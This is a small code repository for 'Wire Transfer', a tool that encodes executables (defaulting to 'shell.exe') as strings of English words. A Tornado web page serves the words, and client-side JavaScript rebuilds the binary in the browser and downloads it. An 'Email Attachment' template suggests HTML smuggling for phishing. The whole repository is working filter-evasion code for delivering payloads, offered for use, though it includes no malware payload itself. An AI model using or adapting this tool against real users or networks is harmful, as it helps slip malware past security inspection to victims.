├── .gitignore ├── README.md ├── dictionary.txt ├── embed.py ├── english2bin.py ├── requirements.txt ├── static └── legit.js ├── templates ├── embed.html └── legit.html └── wiretransfer.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.exe 2 | ~$* 3 | *.vbs 4 | *.html 5 | *.xlsm 6 | 7 | # Python files 8 | *.py[co] 9 | api/files/* 10 | 11 | # SSL Files 12 | *.key 13 | *.crt 14 | 15 | # Packages 16 | *.egg 17 | *.egg-info 18 | dist 19 | build 20 | eggs 21 | parts 22 | bin 23 | var 24 | sdist 25 | develop-eggs 26 | .installed.cfg 27 | 28 | # SSL Stuff 29 | *.crt 30 | *.key 31 | 32 | # XML exports 33 | *.xml 34 | 35 | # SQLite3 databases 36 | *.db 37 | 38 | # Screen files 39 | *.0 40 | 41 | # Log files 42 | *.log 43 | 44 | # Installer logs 45 | pip-log.txt 46 | 47 | # Eclipse 48 | .project 49 | .pydevproject 50 | 51 | # VSCode 52 | .vscode/ 53 | 54 | # PyCharm 55 | .idea/* 56 | 57 | # OSX 58 | .DS_Store 59 | 60 | # Alembic migration scripts 61 | api/setup/migrations/versions/* 62 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Wire Transfer 2 | ============== 3 | 4 | Obfuscates downloads over HTTP by encoding binary files into English text and reconstructing the binary client side. 5 | 6 | ``` 7 | ./wiretransfer.py --target=shell.exe 8 | ``` 9 | 10 | 11 | Setup 12 | ====== 13 | 14 | Install Python 2.7.x, then install the dependancies with: 15 | 16 | ``` 17 | pip install -r requirements.txt 18 | ``` -------------------------------------------------------------------------------- /embed.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | @author: moloch 4 | Copyright 2019 5 | """ 6 | 7 | import os 8 | import sys 9 | import logging 10 | 11 | from english2bin import Binary2DictlessEnglish 12 | 13 | from tornado.ioloop import IOLoop 14 | from tornado.template import Template 15 | from tornado.options import define, options 16 | 17 | 18 | define("target", 19 | group="application", 20 | default=os.environ.get('WIRE_TRANSFER_TARGET', "shell.exe"), 21 | help="target file to transfer") 22 | 23 | define("output", 24 | group="application", 25 | default=os.environ.get('WIRE_TRANSFER_OUTPUT', "legit-embed.html"), 26 | help="target file to transfer") 27 | 28 | define("dictionary", 29 | group="application", 30 | default=os.environ.get('WIRE_TRANSFER_DICTIONARY', "dictionary.txt"), 31 | help="encode file with dictionary") 32 | 33 | define("template", 34 | group="application", 35 | default=os.environ.get('WIRE_TRANSFER_TEMPLATE', "templates/embed.html"), 36 | help="encode file into embedable .html file") 37 | 38 | 39 | def main(): 40 | """ Starts the app based on cli arguments """ 41 | encoder = Binary2DictlessEnglish(options.dictionary) 42 | with open(options.target, "rb") as in_file: 43 | data = encoder.encode_file(in_file) 44 | with open(options.template) as templ_file: 45 | templ = Template(templ_file.read()) 46 | with open(options.output, "wb") as out_file: 47 | out_file.write(templ.generate(data=data)) 48 | 49 | if __name__ == '__main__': 50 | os.chdir(os.path.dirname(os.path.abspath(__file__))) 51 | try: 52 | options.parse_command_line() 53 | assert os.path.exists(options.target) 54 | assert os.path.exists(options.dictionary) 55 | main() 56 | except IOError as error: 57 | print(str(error)) 58 | sys.exit() -------------------------------------------------------------------------------- /english2bin.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | import struct 6 | 7 | from io import StringIO 8 | from random import SystemRandom 9 | from collections import defaultdict 10 | 11 | 12 | class Binary2EnglishDictionary(object): 13 | 14 | """ Encode/decode binary data to from an English dictionary """ 15 | 16 | def __init__(self, master_dict, length_limit=8): 17 | """ 18 | Reads in a master dictionary and ensures its long enough to encode any 19 | byte. 20 | """ 21 | if not os.path.exists(master_dict) or not os.path.isfile(master_dict): 22 | raise ValueError("Master dictionary does not exist or is not file") 23 | with open(master_dict, "rb") as dictionary_file: 24 | self._dictionary_data = list(set( 25 | line.strip() for line in dictionary_file.readlines() if len(line) <= length_limit 26 | )) 27 | if len(self._dictionary_data) < 255: 28 | raise ValueError("Master dictionary is not long enough") 29 | 30 | def encode_file(self, input_file): 31 | """ 32 | Encodes an input file of bytes using a randomized selection from the 33 | master dictionary. 34 | """ 35 | SystemRandom().shuffle(self._dictionary_data) 36 | dictionary = self._dictionary_data[:256] 37 | output_file = StringIO() 38 | byte = input_file.read(1) 39 | while byte != '': 40 | output_file.write("%s " % self._encode_byte(byte, dictionary)) 41 | byte = input_file.read(1) 42 | return output_file.getvalue(), dictionary 43 | 44 | def _encode_byte(self, byte, dictionary): 45 | """ Encodes a byte into a word using a given dictionary """ 46 | index = int(byte.encode('hex'), 16) 47 | return dictionary[index] 48 | 49 | def decode_file(self, input_file, dictionary): 50 | """ Decode a file of words using a given dictionary back into bytes """ 51 | output_file = StringIO() 52 | words = input_file.read().split() 53 | for word in words: 54 | byte = self._decode_byte(word, dictionary) 55 | output_file.write(byte) 56 | return output_file.getvalue() 57 | 58 | def _decode_byte(self, word, dictionary): 59 | """ Decodes a word into a byte using a given dictionary """ 60 | index = dictionary.index(word) 61 | return struct.pack("B", index) 62 | 63 | 64 | class Binary2DictlessEnglish(object): 65 | 66 | """ 67 | Encodes data such that the decoder does not need the encoder's dictioary. 68 | a/k/a "Dictless mode" 69 | 70 | We have to use a larger encoder dictionary in this mode, so make sure you 71 | have lots of memory :) 72 | """ 73 | 74 | def __init__(self, dictionary): 75 | """ Read in dictionary and compute indexes """ 76 | self._random = SystemRandom() 77 | self._encoder_words = defaultdict(list) 78 | with open(dictionary, "rb") as fp: 79 | for line in fp: 80 | self._precompute_word(line.strip()) 81 | self._check_encoder() 82 | 83 | def _check_encoder(self): 84 | """ Ensure we have at least one word for each index """ 85 | for index in range(0, 256): 86 | if not len(self._encoder_words[index]): 87 | raise ValueError("Invalid encoder, no word(s) encode to %d" % ( 88 | index 89 | )) 90 | 91 | def _precompute_word(self, word): 92 | """ Builds a dictionary of words that compute to an index """ 93 | index = self._word_sum(word.decode()) 94 | self._encoder_words[index].append(word) 95 | 96 | def _word_sum(self, word): 97 | """ Sum of ASCII values modded by one byte """ 98 | return sum(ord(char) for char in word) % 256 99 | 100 | def encode_file(self, input_file): 101 | """ Encodes all bytes in a file to words """ 102 | output_file = StringIO() 103 | byte = input_file.read(1) 104 | while byte != b'': 105 | output_file.write("%s " % self._encode_byte(byte)) 106 | byte = input_file.read(1) 107 | return output_file.getvalue() 108 | 109 | def decode_file(self, input_file): 110 | """ Decodes a file of words back into bytes """ 111 | output_file = StringIO() 112 | words = input_file.read().split() 113 | for word in words: 114 | byte = self._decode_byte(word) 115 | output_file.write(byte) 116 | return output_file.getvalue().strip() 117 | 118 | def _encode_byte(self, byte): 119 | """ Takes a byte returns a word """ 120 | index = int(byte.hex(), 16) 121 | return self._random.choice(self._encoder_words[index]).decode() 122 | 123 | def _decode_byte(self, word): 124 | """ Takes a word returns a byte """ 125 | return struct.pack("B", self._word_sum(word)) 126 | 127 | 128 | if __name__ == "__main__": 129 | dictless_encoder = Binary2DictlessEnglish(sys.argv[1]) 130 | with open(sys.argv[2], "rb") as fp: 131 | enc_data = dictless_encoder.encode_file(fp) 132 | with open("output.txt", "wb") as fp: 133 | fp.write(enc_data) 134 | with open("output.txt", "rb") as fp: 135 | dec_data = dictless_encoder.decode_file(fp) 136 | with open("file.orig", "wb") as fp: 137 | fp.write(dec_data) 138 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | tornado 2 | -------------------------------------------------------------------------------- /static/legit.js: -------------------------------------------------------------------------------- 1 | var saveAs=saveAs||function(e){"use strict";if(typeof e==="undefined"||typeof navigator!=="undefined"&&/MSIE [1-9]\./.test(navigator.userAgent)){return}var t=e.document,n=function(){return e.URL||e.webkitURL||e},r=t.createElementNS("http://www.w3.org/1999/xhtml","a"),o="download"in r,a=function(e){var t=new MouseEvent("click");e.dispatchEvent(t)},i=/constructor/i.test(e.HTMLElement)||e.safari,f=/CriOS\/[\d]+/.test(navigator.userAgent),u=function(t){(e.setImmediate||e.setTimeout)(function(){throw t},0)},s="application/octet-stream",d=1e3*40,c=function(e){var t=function(){if(typeof e==="string"){n().revokeObjectURL(e)}else{e.remove()}};setTimeout(t,d)},l=function(e,t,n){t=[].concat(t);var r=t.length;while(r--){var o=e["on"+t[r]];if(typeof o==="function"){try{o.call(e,n||e)}catch(a){u(a)}}}},p=function(e){if(/^\s*(?:text\/\S*|application\/xml|\S*\/\S*\+xml)\s*;.*charset\s*=\s*utf-8/i.test(e.type)){return new Blob([String.fromCharCode(65279),e],{type:e.type})}return e},v=function(t,u,d){if(!d){t=p(t)}var v=this,w=t.type,m=w===s,y,h=function(){l(v,"writestart progress write writeend".split(" "))},S=function(){if((f||m&&i)&&e.FileReader){var r=new FileReader;r.onloadend=function(){var t=f?r.result:r.result.replace(/^data:[^;]*;/,"data:attachment/file;");var n=e.open(t,"_blank");if(!n)e.location.href=t;t=undefined;v.readyState=v.DONE;h()};r.readAsDataURL(t);v.readyState=v.INIT;return}if(!y){y=n().createObjectURL(t)}if(m){e.location.href=y}else{var o=e.open(y,"_blank");if(!o){e.location.href=y}}v.readyState=v.DONE;h();c(y)};v.readyState=v.INIT;if(o){y=n().createObjectURL(t);setTimeout(function(){r.href=y;r.download=u;a(r);h();c(y);v.readyState=v.DONE});return}S()},w=v.prototype,m=function(e,t,n){return new v(e,t||e.name||"download",n)};if(typeof navigator!=="undefined"&&navigator.msSaveOrOpenBlob){return function(e,t,n){t=t||e.name||"download";if(!n){e=p(e)}return navigator.msSaveOrOpenBlob(e,t)}}w.abort=function(){};w.readyState=w.INIT=0;w.WRITING=1;w.DONE=2;w.error=w.onwritestart=w.onprogress=w.onwrite=w.onabort=w.onerror=w.onwriteend=null;return m}(typeof self!=="undefined"&&self||typeof window!=="undefined"&&window||this.content);if(typeof module!=="undefined"&&module.exports){module.exports.saveAs=saveAs}else if(typeof define!=="undefined"&&define!==null&&define.amd!==null){define("FileSaver.js",function(){return saveAs})} 2 | 3 | function decodeWord(word) { 4 | let sum = 0; 5 | for (let index = 0; index < word.length; ++index) { 6 | sum += word.charCodeAt(index); 7 | } 8 | return sum % 256; 9 | } 10 | 11 | let data = document.getElementById('data').textContent.split(' '); 12 | let byteNumbers = new Array(); 13 | data.filter(word => { return word.length > 0 }).forEach(word => { byteNumbers.push(decodeWord(word)); }); 14 | let byteArray = new Uint8Array(byteNumbers); 15 | let blob = new Blob([byteArray], {type: "application/octet-stream"}); 16 | saveAs(blob, "shell.exe"); 17 | -------------------------------------------------------------------------------- /templates/embed.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 |

Email Attachment

7 | 8 | 9 | 27 | -------------------------------------------------------------------------------- /templates/legit.html: -------------------------------------------------------------------------------- 1 | 2 | 3 |

{{ data }}

4 | 5 | 6 | -------------------------------------------------------------------------------- /wiretransfer.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | """ 3 | @author: moloch 4 | Copyright 2018 5 | """ 6 | 7 | import os 8 | import sys 9 | import logging 10 | 11 | from english2bin import Binary2DictlessEnglish 12 | 13 | from tornado.ioloop import IOLoop 14 | from tornado.web import Application, RequestHandler, StaticFileHandler 15 | from tornado.options import define, options 16 | 17 | 18 | define("target", 19 | group="application", 20 | default=os.environ.get('WIRE_TRANSFER_TARGET', "shell.exe"), 21 | help="target file to transfer") 22 | 23 | define("dictionary", 24 | group="application", 25 | default=os.environ.get('WIRE_TRANSFER_DICTIONARY', "dictionary.txt"), 26 | help="encode file with dictionary") 27 | 28 | define("listen_port", 29 | group="application", 30 | default=os.environ.get('WIRE_TRANSFER_LPORT', 8888), 31 | type=int, 32 | help="listen port") 33 | 34 | define("debug", 35 | default=os.environ.get('WIRE_TRANSFER_DEBUG', False), 36 | group="application", 37 | help="start the application in debugging mode", 38 | type=bool) 39 | 40 | 41 | class MainHandler(RequestHandler): 42 | 43 | def initialize(self): 44 | self.encoder = self.application.settings['encoder'] 45 | 46 | def get(self): 47 | with open(options.target, "rb") as fp: 48 | data = self.encoder.encode_file(fp) 49 | self.render("templates/legit.html", data=data) 50 | 51 | def make_app(): 52 | return Application([ 53 | (r"/", MainHandler), 54 | (r"/static/(.*)", StaticFileHandler, {"path": "./static/"}), 55 | ], encoder=Binary2DictlessEnglish(options.dictionary)) 56 | 57 | 58 | def main(): 59 | """ Starts the app based on cli arguments """ 60 | 61 | if options.debug: 62 | root_logger = logging.getLogger() 63 | root_logger.setLevel(logging.DEBUG) 64 | 65 | app = make_app() 66 | app.listen(options.listen_port) 67 | IOLoop.current().start() 68 | 69 | 70 | if __name__ == '__main__': 71 | os.chdir(os.path.dirname(os.path.abspath(__file__))) 72 | try: 73 | options.parse_command_line() 74 | assert os.path.exists(options.target) 75 | assert os.path.exists(options.dictionary) 76 | main() 77 | except IOError as error: 78 | print(str(error)) 79 | sys.exit() --------------------------------------------------------------------------------